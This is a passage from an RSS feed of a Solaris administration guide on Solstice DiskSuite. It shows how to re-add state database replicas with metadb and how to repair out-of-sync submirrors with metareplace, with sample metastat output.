  1034&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /dev/dsk/c0t3d0s3<br />
&nbsp;&nbsp;&nbsp;&nbsp; a&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p&nbsp; l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
  1050&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1034&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
    /dev/dsk/c0t3d0s3</dd>
</dl>
<p>3.) Reboot.</p>
<p>4.) Use the <tt>metadb</tt> command to add back the state database replicas<br />
and to see&nbsp; that the state database replicas are correct.</p>
<p style="margin-left: 33"># <b><kbd>/usr/opt/SUNWmd/metadb -a -c 2 c1t2d0s3</kbd></b><br />
<br />
# <b><kbd>/usr/opt/SUNWmd/metadb</kbd></b><br />
<br />
&nbsp;&nbsp; flags&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; first blk&nbsp;<br />
block count<br />
&nbsp; a m&nbsp; p&nbsp; luo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
1034&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dev/dsk/c0t3d0s3<br />
&nbsp; a&nbsp;&nbsp;&nbsp; p&nbsp; luo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
1050&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
1034&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dev/dsk/c0t3d0s3<br />
&nbsp; a&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
u&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
1034&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dev/dsk/c1t2d0s3<br />
&nbsp; a&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
u&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
1050&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
1034&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dev/dsk/c1t2d0s3</p>
<p><b>7.<a name="2.) Metadevice Errors :">2 ) <u>Metadevice Errors :</u></a></b></p>
<dl>
<dd><b>Problem&nbsp; </b>&nbsp; : Sub Mirrors out of sync&nbsp; in&nbsp;<br />
  &quot;Needs maintainence&quot; state ,</dd>
<dd><b>Causes</b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Disk problem / failure ,<br />
  improper shutdown , communication problems between two mirrored disks .</dd>
<dd><b>symptoms  </b>: &quot;Needs maintainence&quot; errors in metastat output</dd>
</dl>
<p>  <TABLE cellPadding=0 width="100%" border=0 style="border-collapse: collapse" bordercolor="#111111" cellspacing="0"><br />
    <TR><br />
      <TD noWrap></p>
<dl>
<dd># <B><KBD>/usr/opt/SUNWmd/metastat</KBD></B><br />
        d0: Mirror<br />
&nbsp;&nbsp;&nbsp; Submirror 0: d10<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; State: Needs maintenance<br />
&nbsp;&nbsp;&nbsp; Submirror 1: d20<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; State: Okay<br />
        &#8230;<br />
        d10: Submirror of d0<br />
&nbsp;&nbsp;&nbsp; State: Needs maintenance<br />
&nbsp;&nbsp;&nbsp; Invoke: &quot;metareplace d0 /dev/dsk/c0t3d0s0 &lt;new device&gt;&quot;<br />
&nbsp;&nbsp;&nbsp; Size: 47628 blocks<br />
&nbsp;&nbsp;&nbsp; Stripe 0:<br />
        	Device&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Start Block&nbsp; Dbase State&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hot Spare<br />
        	/dev/dsk/c0t3d0s0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; No&nbsp;&nbsp;&nbsp; Maintenance<br />
        <br />
&nbsp;<br />
        d20: Submirror of d0<br />
&nbsp;&nbsp;&nbsp; State: Okay<br />
&nbsp;&nbsp;&nbsp; Size: 47628 blocks<br />
&nbsp;&nbsp;&nbsp; Stripe 0:<br />
        	Device&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Start Block&nbsp; Dbase State&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hot Spare<br />
        	/dev/dsk/c0t2d0s0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; No&nbsp;&nbsp;&nbsp; Okay&nbsp;</dd>
</dl>
<p>      </TD></TR></TABLE></p>
<p><b>Solution :</b></p>
<dl>
<dd>1.)&nbsp;&nbsp;&nbsp; If disk is all right&nbsp; -&nbsp; enable the&nbsp;<br />
  failed metadevice&nbsp; with metareplace command&nbsp; .</dd>
<dd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If disk is failed &#8211; Replace<br />
  disk create similar partitions as in failed disk and enable new device with<br />
  metareplace command.</dd>
<dd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # <B><KBD>/usr/opt/SUNWmd/metareplace -e d0 c0t3d0s0</KBD></B><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
Device /dev/dsk/c0t3d0s0 is enabled<br />
&nbsp;<br />
  2.)&nbsp; If disk has failed&nbsp; and you want to move the failed devices to<br />
  new disk with different id (CnTnDn) &#8211; add new disk ,</dd>
<dd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; format to create&nbsp;&nbsp;&nbsp;&nbsp;<br />
  a similar partition scheme as in failed disk and use metarepalce command</dd>
<dd>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # <B><KBD>/usr/opt/SUNWmd/metareplace&nbsp; d0 c0t3d0s0&nbsp;&nbsp;<br />
  &lt;new device name&gt; </KBD></B></dd>
</dl>
<p>The metareplace command above can also be used for concate or strip&nbsp;<br />
replacement in a&nbsp; volme but that would involve restoring the backup if it<br />
is not mirrored.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminschoice.com/solstice-disksuite-guide/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

